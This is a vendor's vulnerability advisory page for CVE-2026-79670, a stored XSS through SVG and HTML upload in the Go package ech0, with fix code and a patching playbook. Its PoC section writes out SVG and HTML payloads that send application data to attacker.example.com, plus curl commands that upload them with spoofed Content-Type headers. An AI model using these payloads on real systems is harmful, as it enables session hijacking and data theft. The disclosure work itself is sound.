Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go
Not in CISA KEV

CVE-2026-79670 ech0

CVE-2026-79670 is a Unrestricted File Upload vulnerability in github.com/lin-snow/ech0. A fix is available for github.com/lin-snow/ech0 — see the affected versions and patch details below.

Ech0 before 4.4.3 Stored XSS via SVG Upload

Also known asGHSA-69hx-63pv-f8f4GO-2026-5172
Published
Aug 25, 2026
Updated
Sep 2, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-79670.

EPSS Exploitation Probability

via FIRST.org ↗
0.1%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs4th percentile — riskier than 4% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected
🐹github.com/lin-snow/ech0

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The file upload endpoint validates Content-Type using only the client-supplied multipart header, with no server-side content inspection or file extension validation. Combined with an unauthenticated static file server that determines Content-Type from file extension, this allows an admin to upload HTML/SVG files containing JavaScript that execute in the application's origin when visited by any user. Additionally, image/svg+xml is in the default allowed types, enabling stored XSS via SVG without any Content-Type spoofing.

Details

The upload handler at internal/service/file/file.go:85-87 validates file type using only the multipart Content-Type header:

contentType := file.Header.Get("Content-Type") // client-controlled
if !isAllowedType(contentType, config.Config().Upload.AllowedTypes) {
    return commonModel.FileDto{}, errors.New(commonModel.FILE_TYPE_NOT_ALLOWED)
}

isAllowedType at file.go:836-843 performs exact string matching — no magic byte detection, no extension validation:

func isAllowedType(contentType string, allowedTypes []string) bool {
    for _, allowed := range allowedTypes {
        if contentType == allowed {
            return true
        }
    }
    return false
}

The original file extension is preserved in the storage key by RandomKeyGenerator at internal/storage/keygen.go:41:

ext := strings.ToLower(filepath.Ext(strings.TrimSpace(originalFilename)))

All locally stored files are served publicly without authentication at internal/router/modules.go:51:

ctx.Engine.Static("api/files", root)

This gin.Static call is registered directly on the engine, outside any authentication middleware group. Go's http.ServeFile (used internally by gin.Static) determines the response Content-Type using mime.TypeByExtension, so .html files are served as text/html and .svg files as image/svg+xml.

No X-Content-Type-Options: nosniff or Content-Security-Policy headers are set (verified in internal/router/middleware.go).

Variant 1 — SVG XSS (no spoofing needed): image/svg+xml is in the default AllowedTypes at internal/config/config.go:241. SVG files can contain <script> tags and event handlers. The VireFS schema routes .svg to images/ (internal/storage/schema.go:10). Uploaded SVGs are publicly accessible at /api/files/images/<key>.svg and JavaScript within them executes in the application's origin.

Variant 2 — Content-Type spoofing: Upload an .html file with a forged multipart Content-Type: image/jpeg. The allowlist check passes (image/jpeg is allowed). The .html extension is preserved. The VireFS schema routes unknown extensions to files/ (schema.go:14). The file is served at /api/files/files/<key>.html as text/html.

PoC

Variant 1 — SVG XSS (simplest, default config):

# 1. Create SVG with embedded JavaScript
cat > evil.svg << 'SVGEOF'
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
  <script>
    // Steal cookies and redirect to attacker
    fetch('/api/echo/page')
      .then(r => r.json())
      .then(d => {
        new Image().src = 'https://attacker.example.com/collect?data=' + btoa(JSON.stringify(d));
      });
  </script>
  <circle cx="50" cy="50" r="40" fill="red"/>
</svg>
SVGEOF

# 2. Upload as admin (image/svg+xml is default-allowed, no spoofing needed)
curl -X POST http://target:1024/api/files/upload \
  -H 'Authorization: Bearer <admin-jwt>' \
  -F '[email protected];type=image/svg+xml' \
  -F 'category=image' \
  -F 'storage_type=local'

# Response includes the storage key, e.g.: images/<uid>_<ts>_<rand>.svg
# 3. Access without authentication — JavaScript executes in application origin:
# GET http://target:1024/api/files/images/<uid>_<ts>_<rand>.svg

Variant 2 — Content-Type bypass with HTML:

# 1. Create HTML with JavaScript
cat > evil.html << 'HTMLEOF'
<html><body>
<script>
  document.write('<h1>XSS in ' + document.domain + '</h1>');
  // Exfiltrate data from same-origin API
  fetch('/api/echo/page').then(r=>r.json()).then(d=>{
    new Image().src='https://attacker.example.com/?d='+btoa(JSON.stringify(d));
  });
</script>
</body></html>
HTMLEOF

# 2. Upload with spoofed Content-Type
curl -X POST http://target:1024/api/files/upload \
  -H 'Authorization: Bearer <admin-jwt>' \
  -F '[email protected];type=image/jpeg' \
  -F 'category=image' \
  -F 'storage_type=local'

# 3. Access without authentication — renders as text/html:
# GET http://target:1024/api/files/files/<uid>_<ts>_<rand>.html

Impact

  • Stored XSS in the application origin: JavaScript executes in the context of the Ech0 application domain when any user visits the file URL directly.
  • Session hijacking: Attacker script can access same-origin cookies and API endpoints, enabling theft of admin session tokens.
  • Persistent backdoor: The malicious file remains on the unauthenticated static server even after the compromised admin account is secured or its credentials are rotated.
  • Data exfiltration: JavaScript running in the application origin can call internal API endpoints (e.g., /api/echo/page) and exfiltrate application data.
  • Social engineering vector: An admin (or attacker with admin credentials) plants the file; any user tricked into clicking the link is compromised.

The admin-required upload limits initial access, but the persistent nature of the stored XSS and the unauthenticated static serving create a meaningful attack surface, particularly in multi-admin deployments or after admin account compromise.

Recommended Fix

1. Validate Content-Type server-side using magic bytes (internal/service/file/file.go):

import "net/http"

// Replace client-controlled Content-Type with server-detected type
func detectContentType(file multipart.File) (string, error) {
    buf := make([]byte, 512)
    n, err := file.Read(buf)
    if err != nil && err != io.EOF {
        return "", err
    }
    if _, err := file.Seek(0, io.SeekStart); err != nil {
        return "", err
    }
    return http.DetectContentType(buf[:n]), nil
}

2. Remove image/svg+xml from default AllowedTypes or sanitize SVGs to strip <script> tags and event handlers before storage.

3. Add security headers in internal/router/middleware.go:

func SecurityHeaders() gin.HandlerFunc {
    return func(c *gin.Context) {
        c.Header("X-Content-Type-Options", "nosniff")
        c.Header("Content-Security-Policy", "default-src 'self'; script-src 'self'")
        c.Next()
    }
}

4. Serve uploaded files with Content-Disposition: attachment or from a separate origin/subdomain to isolate them from the application's cookie scope.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/lin-snow/ech0all versions4.4.3go get github.com/lin-snow/ech0@v4.4.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lin-snow/ech0, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/lin-snow/ech0 to 4.4.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-79670 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-79670 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-79670. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The file upload endpoint validates Content-Type using only the client-supplied multipart header, with no server-side content inspection or file extension validation. Combined with an unauthenticated static file server that determines Content-Type from file extension, this allows an admin to upload HTML/SVG files containing JavaScript that execute in the application's origin when visited by any user. Additionally, `image/svg+xml` is in the default allowed types, enabling stored XSS via SVG without any Content-Type spoofing. ## Details The upload handler at `internal/service/file/f
O3 Security · Impact-Aware SCA

Is CVE-2026-79670 in your dependencies?

O3 Security finds CVE-2026-79670 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-79670: ech0 | O3 Security